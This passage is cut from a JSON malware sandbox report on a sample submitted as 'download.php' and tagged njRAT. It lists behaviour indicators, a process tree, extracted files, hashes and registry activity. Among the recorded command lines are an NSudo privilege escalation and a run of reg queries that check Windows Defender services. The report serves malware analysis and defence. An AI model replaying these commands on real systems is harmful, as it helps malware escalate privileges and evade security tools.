Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"download.php.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\2e2941.exe\" for deletion\n \"download.php.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\1Q37l5.exe\" for deletion\n \"1Q37l5.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__tmp_rar_sfx_access_check_909025218\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"download.php.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\" with delete access\n \"download.php.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\2e2941.exe\" with delete access\n \"download.php.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\1Q37l5.exe\" with delete access\n \"1Q37l5.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__tmp_rar_sfx_access_check_909025218\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"1Q37l5.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"1Q37l5.exe\" claimed CRC 0 while the actual is CRC 4077419\n \"2e2941.exe\" claimed CRC 1920671 while the actual is CRC 2254691\n \"nircmd.exe\" claimed CRC 170299 while the actual is CRC 209173","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"2e2941.exe\" has an entrypoint in section \".taggant\"\n \"cecho.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$50","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"2e2941.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"2e2941.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"download.php.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\1Q37l5.exe\" (Handle: 648)\n \"download.php.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\2e2941.exe\" (Handle: 124)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\chcp.com\" (Handle: 688)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\reg.exe\" (Handle: 696)\n \"cmd.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\reg.exe\" (Handle: 684)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"NSudoLG.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00004264)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"reg query \"HKLM\\System\\CurrentControlSet\\Services\\wscsvc\"\" (Indicator: \"wscsvc\") in Source: 00000000-00005668-00000C46-118442689038","origin":"File/Memory","mitre_attack_id":"T1574.010","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$51","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Reads the system/video BIOS version"},{"detail":"Tries to gather information about running processes on a system"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Evasive","details_count":7,"details":[{"detail":"Marks file for deletion"},{"detail":"References security related windows services"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}]},"activity":{"stats":{"process_count":37,"spawned_processes_count":37,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":15,"imported_dlls_count":96,"dropped_files_count":0,"extracted_files_count":8,"files_written_count":19,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":1,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["bladabindi","njrat","rat","evasive"],"sample_flags":["Multi-Process","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"684f2bd4393b543abc00bae7","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"download.php","analysis_start_time":"2025-06-15T20:23:49+00:00","indicators_count":{"informative":202,"suspicious":64,"malicious":7},"tags":["Multi-Process","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}],"processes":[{"pid":2484,"ppid":0,"name":"download.php.exe","command_line":"","sha256":"7644ab6a34591b55e252def550ca92fdf2fc4d34d424aca6ea41150fedf6b108","normalized_path":"C:\\download.php.exe","uid":"00000000-00002484","icon":"$52"},{"pid":2924,"ppid":2484,"name":"1Q37l5.exe","command_line":"","sha256":"992d21ab5eb81a495fb354fc47e07c4919a809e2f424218ca406ed35d24dc6c8","normalized_path":"%TEMP%\\IXP000.TMP\\1Q37l5.exe","parent_uid":"00000000-00002484","uid":"00000000-00002924"},{"pid":3960,"ppid":2924,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\RdRK6XK.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00002924","uid":"00000000-00003960"},{"pid":4268,"ppid":3960,"name":"chcp.com","command_line":"chcp 65001","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00003960","uid":"00000000-00004268"},{"pid":5476,"ppid":3960,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00003960","uid":"00000000-00005476"},{"pid":7672,"ppid":3960,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v \"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00003960","uid":"00000000-00007672"},{"pid":4264,"ppid":3960,"name":"NSudoLG.exe","command_line":"NSudoLG -U:T -P:E -UseCurrentConsole \"%TEMP%\\RdRK6XK.bat\" any_word","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","normalized_path":"%TEMP%\\Work\\NSudoLG.exe","parent_uid":"00000000-00003960","uid":"00000000-00004264"},{"pid":5668,"ppid":4264,"name":"cmd.exe","command_line":"/c \"\"%TEMP%\\RdRK6XK.bat\" any_word \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004264","uid":"00000000-00005668"},{"pid":1288,"ppid":5668,"name":"nircmd.exe","command_line":"nircmd win min process \"cmd.exe\"","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","normalized_path":"%TEMP%\\Work\\nircmd.exe","parent_uid":"00000000-00005668","uid":"00000000-00001288"},{"pid":3684,"ppid":5668,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00005668","uid":"00000000-00003684"},{"pid":8148,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00008148"},{"pid":7000,"ppid":5668,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v \"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00007000"},{"pid":7748,"ppid":5668,"name":"mode.com","command_line":"Mode 79,49","sha256":"82bcc86e5e296647f69a0d56bca8516e444baa590e4bc207cc1bd9eb3909c9a8","normalized_path":"%WINDIR%\\system32\\mode.com","parent_uid":"00000000-00005668","uid":"00000000-00007748"},{"pid":5168,"ppid":5668,"name":"cmd.exe","command_line":"/c ver","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005668","uid":"00000000-00005168"},{"pid":7588,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00007588"},{"pid":4980,"ppid":5668,"name":"find.exe","command_line":"find /i \"0x0\"","sha256":"794b46b2613cb208760e69ea964a649d28fe9acd68110bec08a5ca557014b68a","normalized_path":"%WINDIR%\\system32\\find.exe","parent_uid":"00000000-00005668","uid":"00000000-00004980"},{"pid":4564,"ppid":5668,"name":"cmd.exe","command_line":"/c tasklist","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005668","uid":"00000000-00004564"},{"pid":7076,"ppid":4564,"name":"tasklist.exe","command_line":"","sha256":"d0de02e013574b1c6c940a7fb00c671b364d02e36c024ccba5ab9c3904e58d1e","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00004564","uid":"00000000-00007076"},{"pid":5028,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WinDefend\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00005028"},{"pid":5408,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00005408"},{"pid":3168,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00003168"},{"pid":5212,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\Sense\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00005212"},{"pid":3844,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\wscsvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00003844"},{"pid":5980,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00005980"},{"pid":200,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00000200"},{"pid":5176,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00005176"},{"pid":7644,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00007644"},{"pid":3516,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00003516"},{"pid":2768,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdBoot\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00002768"},{"pid":4604,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdFilter\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00004604"},{"pid":7836,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00007836"},{"pid":7200,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00007200"},{"pid":7312,"ppid":5668,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005668","uid":"00000000-00007312"},{"pid":4360,"ppid":2484,"name":"2e2941.exe","command_line":"","sha256":"a5a385bfd2c5a30d80caa7d37720652f87a2470701ec82c7ebc15a5e04c53989","normalized_path":"%TEMP%\\IXP000.TMP\\2e2941.exe","parent_uid":"00000000-00002484","uid":"00000000-00004360"},{"pid":6356,"ppid":4360,"name":"WerFault.exe","command_line":"-u -p 4360 -s 856","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004360","uid":"00000000-00006356"},{"pid":5748,"ppid":4360,"name":"WerFault.exe","command_line":"-u -p 4360 -s 856","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004360","uid":"00000000-00005748"},{"pid":7244,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 4360 -ip 4360","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007244","icon":"$53"}],"all_imported_dlls":["IPHLPAPI.DLL","sfc.dll","propsys.dll","shlwapi.dll","comctl32.dll","uxtheme.dll","CoreMessaging.dll","cmdext.dll","TextInputFramework.dll","edputil.dll","userenv.dll","wow64cpu.dll","bcryptprimitives.dll","cryptsp.dll","dwmapi.dll","usp10.dll","WindowsCodecs.dll","Windows.StateRepositoryPS.dll","sfc_os.dll","winmm.dll","wbemprox.dll","wininet.dll","user32.dll","rpcrt4.dll","imm32.dll","GdiPlus.dll","aepic.dll","wmiutils.dll","wow64win.dll","win32u.dll","clbcatq.dll","WinTypes.dll","framedynos.dll","apphelp.dll","msvcp_win.dll","ole32.dll","tiptsf.dll","CoreUIComponents.dll","wbemcomn.dll","msvcrt.dll","gdi32full.dll","ucrtbase.dll","profapi.dll","VxSSL32.dll","ws2_32.dll","riched20.dll","ntmarta.dll","kernel32.dll","fltLib.dll","advpack.dll","ulib.dll","fsutilext.dll","VxSSL64.dll","dbghelp.dll","powrprof.dll","oleaut32.dll","mpr.dll","cldapi.dll","imagehlp.dll","pcacli.dll","cfgmgr32.dll","sspicli.dll","urlmon.dll","psapi.dll","fastprox.dll","combase.dll","KernelBase.dll","AcLayers.dll","shell32.dll","bcrypt.dll","msls31.dll","msIso.dll","winsta.dll","wow64.dll","SHCore.dll","windows.storage.dll","rsaenh.dll","ureg.dll","netutils.dll","kernel.appcore.dll","version.dll","feclient.dll","msctf.dll","iertutil.dll","comdlg32.dll","wbemsvc.dll","ntdll.dll","sechost.dll","setupapi.dll","cabinet.dll","wtsapi32.dll","winmmbase.dll","srvcli.dll","advapi32.dll","gdi32.dll","cryptbase.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"1Q37l5.exe","sha256":"992d21ab5eb81a495fb354fc47e07c4919a809e2f424218ca406ed35d24dc6c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"RdRK6XK.bat","sha256":"ca4ea4305e8fbb97b0df702af598666eeacabfde8f16767f6b82dfe46d999ef3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"7z.exe","sha256":"cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"cecho.exe","sha256":"5c1211559dda10592cfedd57681f18f4a702410816d36eda95aee6c74e3c6a47","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"2e2941.exe","sha256":"a5a385bfd2c5a30d80caa7d37720652f87a2470701ec82c7ebc15a5e04c53989","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"DKT.zip","sha256":"1def3438b4a44bab1eacb942336f810358a2cfaa2b793e32cc54b98eb2eca319","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"NSudoLG.exe","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"nircmd.exe","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}],"files_written":[{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\IXP000.TMP\\1Q37l5.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\IXP000.TMP\\2e2941.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\__tmp_rar_sfx_access_check_909025218","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\RdRK6XK.bat","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"C:\\Work\\7z.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\WORK\\7Z.EXE","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\Work\\7z.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\Work\\cecho.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\Work\\DKT.zip","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\Work\\nircmd.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%TEMP%\\Work\\NSudoLG.exe","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"C:\\Work","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\THEMES\\PERSONALIZE\\","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\WEXTRACT_CLEANUP0\\WEXTRACT_CLEANUP0","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2924:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2924:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2924:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Local\\SM0:2924:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Local\\SM0:2924:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"SM0:2924:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7076:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"SM0:7076:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]}]}},"report_ids":{"sandbox_job_ids":["684f2bd4393b543abc00bae7"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious 